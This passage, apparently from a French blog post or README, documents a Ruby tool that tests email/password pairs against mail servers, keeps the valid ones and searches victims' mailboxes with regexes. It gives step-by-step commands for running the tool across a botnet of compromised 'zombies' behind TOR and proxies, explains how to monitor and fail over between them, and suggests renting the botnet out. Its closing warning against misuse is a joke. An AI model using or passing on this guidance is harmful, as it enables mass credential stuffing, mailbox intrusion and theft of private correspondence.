[!] TOR was sucessfully configured
[!] Need to check 1 proxie(s)
* Proxy... 127.0.0.1:9150		[ALIVE]
[!] 3 emails added
[!] Starting 5 threads, spinning the turtle again !
... etc.

Le résultat de l’analyse est rangé dans un sous dossier du dossier /out Ce sous dossier contient un fichier csv contenant tous les couples mail / password valides, et un ensemble de fichiers commençant par “regex” contenant les emails ayant matchés avec l’expression régulière associée.

Remarque : Le contenu des emails est encodé en base64 dans ces fichiers.

MODE BOTNET

blague botnet

Pour utiliser le soft avec votre botnet, il faut mettre le programme en mode écoute sur chacun des zombies, puis fournir la liste des IP : ports associés au programme maitre qui se chargera de contrôler les zombies.

Pour mettre le programme en mode écoute (serveur), vous devrez l’utiliser sur vos zombies de la façon suivante:

ruby ./mailchecker.rb -l 8798 -w password -n

L’option -l indique le port qu’utilisera le programme pour écouter les instructions du maître (ici 8798).
L’option -w indique le mot de passe qui devra être fourni pour utiliser le service.

Remarque : On peut combiner les options classiques de “masquage” d’identité. Au quel cas, avant de taper sur les serveurs de messageries, vos zombies utiliseront le proxy voulu. Dans l’exemple ci dessus, l’utilisation de proxy est désactivé par l’option -n et la connexion aux serveurs de messagerie se fait directement.

Remarque : Plusieurs maitres peuvent utiliser simultanément le même botnet, ce qui vous laisse la possibilité de louer votre service de scan de messagerie sur botnet.

Une fois les services déployés sur vos zombies, vous devez démarrer une instance maître en mode botnet master. Pour ce faire, vous devez créer un fichier csv contenant toutes les IP : port de vos zombies ainsi que les mots de passe associés.

Dans notre exemple ci dessus, et avec un seul zombie (1.2.3.4), notre fichier botnet.csv ressemblerait donc à ça (L’espace entre le port 8798 et le mot de passe DEVANT être une tabulation.):

1.2.3.4:8798 password

La commande pour lancer le programme maitre est alors la suivante:

ruby ./mailchecker.rb -b ../test/resources/botnet.txt -m ../test/resources/mail_list.csv -n

Dans l’exemple ci dessus, la connexion entre le maitre et les bots n’est pas anonyme. Vous pouvez tout à fait utiliser les options -p -z ou -a pour plus de discrétion.

Le travail du botnet peut être assez long. Pour vérifier l’état d’avancement, vous devez envoyer un signal USR1 au programme maitre. Commencez par repérer le PID du programme maitre:

:~$ sudo ps -e | grep ruby
[sudo] password for XXX: 
23673 pts/14   00:00:00 ruby

Notre PID est donc 23673.

Puis envoyez le signal qui va bien:

:~$ sudo kill -SIGUSR1 23673

Un tableau s’affiche alors du côté du programme maitre:

Botnet work status
________________________________________________________________
| BOT                   |  OK   |  KO   |  UNK  |   TOT         |
|_______________________|_______|_______|_______|_______________|
| 127.0.0.1:8287	| 1	| 0	| 1	|   [50.0%]	|
| 127.0.0.1:8288	| 0	| 0	| 1	|   [0.0%]	|
|_______________________|_______|_______|_______|_______________|
---> Total : 1 / 3 - [33.33333333333333%]

La colonne BOT vous indique les ips : port des différents zombies.
La colonne OK vous indique le nombre de couples mail / password valides
La colonne KO vous indique le nombre de couples mail / password faux
La colonne UNK vous indique le nombre de couples mail / password qui n’ont pas encore été testés
La colonne TOT vous présente l’état d’avancement du travail du bot.

La ligne inférieure vous présente le taux de mails analysés sur le nombre de mails total à vérifier.

Remarque : Si un de vos zombies devient soudainement DOWN, son travail est automatiquement transféré vers un zombie encore UP. Ce qui vous assure la continuité et l’intégrité de l’analyse.

Une fois les analyses terminés, les résultats sont rapatriés sur la machine maitre dans le dossier /out

Remarque finale, le mode écoute publie un service SOAP. Du coup, il est facile d’écrire vos propres softs de contrôle a partir de la WSDL si vous voulez un truc plus poussé.

Voilà voilà. Et n’utilisez pas ce petit bout de code pour faire le mal, sinon…

prison

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